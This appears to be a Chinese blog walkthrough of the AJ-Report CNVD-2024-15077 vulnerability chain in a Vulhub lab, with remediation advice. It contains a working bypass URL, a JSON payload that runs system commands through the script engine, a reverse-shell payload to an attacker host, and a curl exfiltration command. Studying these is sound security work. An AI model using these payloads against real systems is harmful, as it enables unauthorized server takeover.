news 2026/7/13 9:29:45

AJ-Report漏洞复现:Spring Security认证绕过与远程代码执行实战分析

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
AJ-Report漏洞复现:Spring Security认证绕过与远程代码执行实战分析

1. 项目概述:AJ-Report漏洞复现的实战价值

最近在梳理一些开源项目的安全风险时,AJ-Report这个开源BI平台的一个组合漏洞引起了我的注意。这个编号为CNVD-2024-15077的漏洞,本质上是“认证绕过”和“远程代码执行”两个高危漏洞的串联利用。对于从事安全研究、渗透测试或者负责企业应用安全的朋友来说,这类在真实业务系统中发现的、可直接导致服务器沦陷的漏洞,其复现和分析过程极具学习价值。它不像那些停留在理论层面的漏洞,而是清晰地展示了攻击者如何从一个看似微小的权限校验缺陷入手,最终获得在服务器上执行任意命令的能力。今天,我就结合自己的搭建和测试环境,把这个漏洞的来龙去脉、复现细节以及背后的原理掰开揉碎了讲清楚,希望能给想深入理解Web漏洞链利用的朋友提供一个完整的实操案例。

2. 漏洞原理深度剖析

要成功复现并理解一个漏洞,死记硬背POC(概念验证代码)是远远不够的。我们必须深入代码层面,搞清楚“为什么这里会有问题”以及“攻击者是如何利用的”。对于CNVD-2024-15077,我们需要分两步走:先理解认证是如何被绕过的,再明白代码执行是如何发生的。

2.1 认证绕过漏洞的根源:Spring Security路径匹配的“陷阱”

AJ-Report作为一个Spring Boot架构的应用,通常使用Spring Security框架进行权限控制。Spring Security允许开发者通过配置,为不同的URL路径模式指定访问权限,例如/admin/**需要ADMIN角色,/api/**需要认证,而/login/static/**可以公开访问。

漏洞的核心在于一处路径配置的缺陷。根据公开的漏洞详情,问题出在/dataSetParam/verification这个接口上。开发者的本意可能是:/dataSetParam/**下的所有接口都需要认证,但/dataSetParam/verification这个特定的子路径因为某种业务原因(比如用于前端表单的实时校验)被错误地配置为了匿名访问,或者更常见的情况是,配置规则被优先级更高、更宽松的规则覆盖了。

攻击者利用了一个关键技巧:在路径中插入分号;。他们构造的请求路径是:/dataSetParam/verification;swagger-ui/

这里发生了什么?在HTTP协议和部分Web容器(如Tomcat)的早期规范中,分号;曾被用于包含路径参数(Path Parameters),例如/file;name=report.pdf。路径参数在路径匹配阶段通常会被容器剥离。也就是说,当Spring Security检查请求路径/dataSetParam/verification;swagger-ui/是否匹配其配置的规则时,它可能会先将;swagger-ui/作为路径参数移除,只拿/dataSetParam/verification去匹配安全规则。

如果安全配置恰好对/dataSetParam/verification这个“干净”的路径没有设置访问限制,那么请求就会被放行。然而,当请求流转到后续的控制器(Controller)进行实际处理时,某些路由解析逻辑可能仍然接收到了完整的、包含分号的原始路径,并成功将其映射到了预期的业务逻辑处理器上。这就导致了安全框架看到的路径和业务逻辑处理的路径不一致,从而实现了认证绕过。

注意:这种利用方式与特定的Spring Security版本、配置方式以及Web容器对路径参数的处理逻辑密切相关。并非所有环境都一定生效,但在AJ-Report受影响版本中,这个条件是成立的。这也提醒我们,在配置安全规则时,要使用严格匹配模式,并充分了解框架的路径解析机制。

2.2 远程代码执行漏洞的触发:动态脚本注入与沙箱缺失

绕过认证后,攻击者面对的是/dataSetParam/verification接口。根据漏洞信息,这是一个用于“数据集参数验证”的功能。通常,BI平台为了灵活性,会允许用户为数据查询参数编写一些简单的验证规则或转换脚本。

漏洞点就在于:这个接口接收并动态执行了用户传入的JavaScript(或类似脚本引擎)代码,且没有对执行环境进行任何安全的沙箱隔离。

我们来看攻击载荷(Payload)的关键部分:

{ "validationRules": "function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();...}" }

这个validationRules字段的值是一段JavaScript函数。在Java应用中执行JavaScript,通常会用到像Nashorn(JDK 8-14内置)或GraalVM这样的脚本引擎。

致命的错误在于两点:

  1. 脚本引擎权限过高:应用在初始化脚本引擎时,没有限制其可访问的Java类。默认情况下,通过脚本引擎可以访问到整个JVM的运行时环境。
  2. 用户输入直接执行:将未经严格过滤和校验的用户输入(validationRules)直接传递给脚本引擎执行。

于是,攻击者就可以在JavaScript中直接调用Java API。new java.lang.ProcessBuilder(\"id\").start()这行代码的含义是:在服务器上创建一个新的操作系统进程来执行id命令,并获取其输出。这就等同于在服务器Shell中执行了id命令,实现了远程代码执行。

实操心得:这种“参数验证”或“数据转换”功能是RCE漏洞的高发区。开发者在设计此类功能时,必须假定所有用户输入都是恶意的。要么彻底禁止动态脚本,使用安全的表达式引擎(如SpEL但需严格配置);要么必须构建一个强沙箱,使用Java安全管理器(SecurityManager)或自定义的类过滤器(ClassFilter),白名单式地允许脚本访问极少数安全的工具类。

3. 漏洞复现环境搭建

理解了原理,我们动手搭建一个漏洞环境来验证。最方便的方法是使用Vulhub这个开源漏洞靶场项目。

3.1 环境准备与启动

首先,确保你的实验机器上已经安装了Docker和Docker Compose。这是一个基本前提。

  1. 获取环境:从Vulhub官网或GitHub仓库找到AJ-Report的漏洞环境目录。通常路径是vulhub/aj-report/CVE-2024-xxxx/(有时漏洞编号可能不同,但根据描述找到对应目录即可)。

  2. 启动服务:进入该目录,执行以下命令:

    docker-compose up -d

    这个命令会从Docker镜像仓库拉取包含AJ-Report 1.4.0漏洞版本的镜像,并在后台启动容器。

  3. 确认服务:启动完成后,使用docker ps命令查看容器是否正常运行。正常情况下,AJ-Report服务会监听在容器的9095端口,并通过Docker映射到你宿主机的某个端口(通常是9095)。在浏览器中访问http://你的宿主机IP:9095,应该能看到AJ-Report的登录页面。

注意事项

  • 网络问题:如果拉取镜像缓慢,可以配置Docker国内镜像加速器。
  • 端口冲突:如果宿主机9095端口已被占用,需要修改docker-compose.yml文件中的端口映射,例如将9095:9095改为9096:9095,然后通过http://你的宿主机IP:9096访问。
  • 实验环境隔离:务必在隔离的虚拟机或内网环境中进行此实验,切勿在连接公网或存有敏感数据的机器上操作。

3.2 理解靶场网络结构

简单了解一下Docker Compose启动的环境结构,有助于后续排查问题。这个环境通常只包含一个服务:AJ-Report应用本身,它可能基于一个包含了MySQL数据库和所需运行环境的完整镜像。所有漏洞利用的请求,都将发送到这个启动的Web服务上。

4. 漏洞利用复现实操

环境就绪后,我们开始最关键的漏洞利用步骤。我将使用Burp Suite这款工具来演示,你也可以使用Postman或Curl命令行。

4.1 构造认证绕过请求

首先,我们直接向漏洞接口发送请求,而不提供任何登录凭证(如Cookie、Token)。

  1. 配置代理:打开Burp Suite,确保浏览器或你的HTTP客户端配置了Burp的代理(通常是127.0.0.1:8080)。
  2. 捕获或构造请求:在Burp的Proxy标签页下,打开拦截(Intercept),然后在浏览器中随便触发一个请求,再切换到Repeater标签页进行手动构造。或者,直接在Repeater中新建请求。
  3. 填写请求信息
    • 请求方法: POST
    • URLhttp://你的靶机IP:9095/dataSetParam/verification;swagger-ui/
    • 注意URL中的分号/verification;swagger-ui/是绕过认证的关键。
  4. 设置请求头:需要设置Content-Typeapplication/json,因为我们要发送JSON格式的数据体。
    Content-Type: application/json;charset=UTF-8
    其他头如Host、User-Agent按常规填写即可。

4.2 注入远程代码执行载荷

接下来,在请求体中填入我们精心构造的恶意JSON数据。

  1. 准备Payload:将以下JSON数据作为请求体。这个Payload定义了一个JavaScript函数,它利用Java的ProcessBuilder执行系统命令id,并读取命令的输出结果作为函数返回值。

    { "ParamName": "", "paramDesc": "", "paramType": "", "sampleItem": "1", "mandatory": true, "requiredFlag": 1, "validationRules": "function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}" }

    Payload解读

    • validationRules字段是攻击入口。
    • java.lang.ProcessBuilder(\"id\").start():创建并启动执行id命令的进程。
    • .getInputStream():获取进程的标准输出流。
    • 后续代码:将输出流转换为字符串并返回。
  2. 发送请求:在Burp Repeater中,将完整的请求(包含恶意请求体的POST请求)发送给靶机。

4.3 结果验证与分析

如果靶场环境搭建正确且漏洞存在,你将收到服务器的响应。

  1. 成功响应:响应状态码应为200 OK。在响应体中,你应该能看到id命令的执行结果,例如:

    uid=0(root) gid=0(root) groups=0(root)

    这表示命令执行成功,并且进程是以root权限运行的(在Docker容器中很常见),这危害极大。

  2. 结果分析

    • 认证绕过成功:服务器没有返回401未授权或403禁止访问的错误,说明路径/dataSetParam/verification;swagger-ui/成功绕过了权限检查。
    • 代码执行成功:服务器不仅处理了请求,还执行了validationRules中的脚本,并返回了脚本的执行结果(即命令输出)。这证实了远程代码执行漏洞的存在。
    • 漏洞串联:单独一个认证绕过,可能只能访问到一些非敏感信息。但结合这个RCE漏洞,攻击者就获得了系统的完全控制权。这就是“漏洞链”的威力,1+1远大于2。

实操心得:在实际渗透测试中,发现一个认证绕过点后,要立即以此为据点,对应用进行“横向探索”。使用工具(如Burp的Scanner、Intruder)或手动方式,尝试访问所有已知的、猜测的管理接口或功能端点,特别是那些涉及文件操作、命令执行、数据库查询的功能。AJ-Report这个案例就是教科书般的例子:绕过认证后,攻击者找到了一个可以执行脚本的接口,从而完成权限提升。

5. 漏洞修复与安全加固建议

复现漏洞是为了更好地防御。作为开发或安全人员,我们必须知道如何修复此类问题。

5.1 官方修复方案

对于使用AJ-Report的用户,最直接的方法是升级到已修复的安全版本。根据漏洞信息,v1.4.0之后(可能包含v1.4.1或更高版本)的版本应该已经修复了此问题。升级前务必查看官方发布说明,确认该漏洞已被修补。

5.2 代码层修复要点

如果你是开发者,可以从这个漏洞中吸取以下教训来加固自己的Spring Boot应用:

  1. 严格化Spring Security路径匹配

    • 避免使用宽松的匹配模式如/**。尽可能使用精确路径。
    • 使用mvcMatchers而非antMatchers,因为mvcMatchers的匹配行为更接近Spring MVC的实际处理逻辑,可以减少歧义。
    • 在安全配置中,明确拒绝包含分号(;)、点号(..)等特殊字符的路径请求,或确保安全框架在匹配前对路径进行规范化处理。
  2. 彻底禁用动态脚本执行

    • 对于类似“参数验证”的功能,评估是否必须使用动态脚本。很多情况下,使用一组预定义的规则选项或一个安全的、功能受限的表达式语言(如AviatorScript、QLExpress,并严格配置白名单)是更安全的选择。
    • 如果业务上必须支持用户自定义脚本(这是一个高风险需求),则必须引入沙箱机制:
      • 使用Java SecurityManager:为脚本引擎设置严格的安全策略文件,限制其访问文件、网络、执行命令等权限。
      • 使用脚本引擎的白名单特性:例如,Nashorn引擎可以通过ClassFilternashorn.args来限制可访问的Java类。只允许访问业务明确需要的工具类(如某些数学计算、字符串处理类)。
      • 在独立环境中运行:考虑将脚本执行任务发送到完全隔离的、无网络权限的Docker容器或沙箱进程中执行,执行完毕即销毁。
  3. 输入验证与过滤

    • validationRules这类字段进行强验证。不仅检查长度、格式,更要对内容进行关键词过滤(如java.lang.ProcessBuilderRuntime.execgetClassforName等危险类和方法名),但这只是一种辅助手段,不能完全依赖。

5.3 企业级防护措施

从运维和安全团队角度,可以采取以下措施进行纵深防御:

  1. Web应用防火墙:部署WAF,并更新规则库,使其能够识别和阻断利用分号进行路径遍历、以及包含明显Java命令执行特征的HTTP请求。
  2. 运行时应用自保护:采用RASP技术,在应用内部监控危险行为(如通过反射调用ProcessBuilderRuntime.exec),一旦发现即时中断并告警。
  3. 定期漏洞扫描与代码审计:使用SCA工具扫描项目依赖,使用SAST工具对自有代码进行静态分析,定期进行人工代码安全审计,特别关注权限校验和脚本执行相关代码。
  4. 最小权限原则:运行Java应用的系统账户,应遵循最小权限原则,避免使用root权限。这样即使被RCE,攻击者获得的权限也有限。

6. 漏洞复现中的常见问题与排查

在复现过程中,你可能会遇到一些问题。这里我总结几个常见的坑和解决方法。

6.1 环境搭建失败

  • 问题:执行docker-compose up -d后,容器不断重启或快速退出。
  • 排查
    1. 使用docker logs <容器ID>查看应用启动日志。常见原因是端口冲突或数据库连接失败。
    2. 检查docker-compose.yml文件,确认端口映射是否与宿主机现有服务冲突。
    3. 可能是镜像拉取不完整。尝试删除本地镜像并重新拉取:docker-compose down && docker-compose pull && docker-compose up -d

6.2 请求返回404或500错误

  • 问题:发送Payload后,服务器返回404 Not Found或500 Internal Server Error。
  • 排查
    1. 404错误:首先确认URL路径是否正确。确保靶机IP、端口无误,且路径为/dataSetParam/verification;swagger-ui/。分号是英文分号。可能是Vulhub环境版本略有差异,尝试访问/dataSetParam/verification(不带分号)看是否也是404,以确认接口是否存在。
    2. 500错误:这是一个“好”迹象,说明请求触达了后端代码,但执行过程出错。查看Docker容器日志docker logs <容器ID>,通常会有详细的Java异常堆栈信息。可能的原因包括:
      • 脚本引擎初始化失败。
      • Payload中的Java语法在特定JDK版本下不兼容。尝试简化Payload,例如先尝试执行一个简单的计算return 1+1;来验证脚本执行功能是否正常。

6.3 命令执行无回显

  • 问题:请求返回200,但响应体为空或没有命令执行结果。
  • 排查
    1. 检查Payload逻辑:确保你的Payload包含了读取命令输出并返回的逻辑。最初的Payload可能只执行命令,没有将输出流读回。我提供的Payload包含了完整的读取循环。
    2. 尝试不同命令id命令在极简的Docker镜像中可能不存在。尝试使用更通用的命令,如ls -la /(列出根目录)或whoami
    3. 检查编码与转义:确保JSON格式正确,字符串中的反斜杠\被正确转义。在Burp中,直接粘贴原始JSON文本即可,它会自动处理。
    4. 使用DNS或HTTP外带通道:如果怀疑是回显问题,可以尝试使用盲注的方式,通过执行pingcurl命令将执行结果带到你的公网服务器(需要靶机有网络出口)。例如,执行curl http://你的服务器IP:端口/?$(whoami)`。这需要你有一个可接收请求的公网服务器。

6.4 漏洞利用扩展思考

成功执行id命令只是开始。在真实的安全评估中,我们会利用这个RCE漏洞做更多事:

  1. 获取反向Shell:这是建立持久化控制的标准操作。可以在Payload中编写更复杂的脚本,使用bash -cpython -c来反弹一个Shell到你的攻击机。
    "validationRules": "function verification(data){new java.lang.ProcessBuilder(\"/bin/bash\", \"-c\", \"bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1\").start(); return 'ok';}"
    注意:这需要靶机镜像中包含/bin/bash且能访问网络。
  2. 探测内网信息:执行ifconfigip addrcat /etc/hostsnetstat -tulnp等命令,了解服务器网络环境。
  3. 文件系统操作:利用catfindgrep等命令读取敏感配置文件、源代码、数据库连接信息等。
  4. 权限提升尝试:如果当前不是root,可以尝试查找具有SUID权限的可执行文件,或者利用内核漏洞进行提权。

重要警告:以上所有扩展利用手法,仅限在你自己完全控制的、合法的渗透测试环境或漏洞研究环境中进行。未经授权对任何系统进行测试都是违法行为。

通过这样一个从原理到实践,再到防御的完整闭环分析,我们不仅学会了一个漏洞的复现,更重要的是理解了这类漏洞产生的深层原因和防御思路。安全是一个持续的过程,每一次漏洞复现都是一次宝贵的经验积累。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/13 9:29:18

Unity PlayerPrefs实战:构建RPG天赋属性存档系统

1. 项目概述&#xff1a;为什么PlayerPrefs是天赋属性存档的“新手村神器”&#xff1f;在Unity游戏开发里&#xff0c;给角色加点、分配天赋属性是RPG、ARPG甚至一些策略游戏的核心乐趣。但辛辛苦苦攒了一堆属性点&#xff0c;给角色点满了“暴击”、“攻速”、“生命恢复”&a…

作者头像 李华
网站建设 2026/7/13 9:28:59

Vivado EDF 与 DCP 网表对比:5 个维度解析选型与 3 个常见导入错误

Vivado EDF与DCP网表深度对比&#xff1a;技术选型指南与典型问题解决方案在FPGA开发流程中&#xff0c;网表文件作为RTL综合后的关键交付物&#xff0c;直接影响团队协作效率和项目交付质量。Vivado工具链提供的EDF(EDIF)和DCP(Design Checkpoint)两种主流封装格式各有特点&am…

作者头像 李华
网站建设 2026/7/13 9:28:27

C++内存池优化:从std::allocator原理到高性能自定义分配器实现

1. 项目概述&#xff1a;为什么我们需要关心内存分配器&#xff1f;如果你写过一段时间的C&#xff0c;尤其是接触过性能敏感的项目&#xff0c;比如游戏引擎、高频交易系统或者大型中间件&#xff0c;那么“内存分配”这个词对你来说&#xff0c;绝对不是一个陌生的概念。它可…

作者头像 李华
网站建设 2026/7/13 9:26:46

贪心算法原理与工程实践:从局部最优到全局解的决策逻辑

1. 什么是贪心算法&#xff1f;——从“抄近路”直觉到工程级决策逻辑你有没有过这种体验&#xff1a;开车去一个陌生地方&#xff0c;导航App突然提示“前方拥堵&#xff0c;已为您规划新路线”&#xff0c;几秒后屏幕就切到了一条完全不同的小路&#xff1f;它没等你思考“这…

作者头像 李华
网站建设 2026/7/13 9:26:35

GitLab 分支与权限管理:3种策略对比与5个常见权限配置误区

GitLab 分支与权限管理&#xff1a;3种策略对比与5个常见权限配置误区在团队协作开发中&#xff0c;代码仓库的分支管理和权限控制是确保项目顺利推进的两大基石。GitLab 作为目前最流行的 DevOps 平台之一&#xff0c;提供了强大的分支模型和细粒度的权限系统。然而&#xff0…

作者头像 李华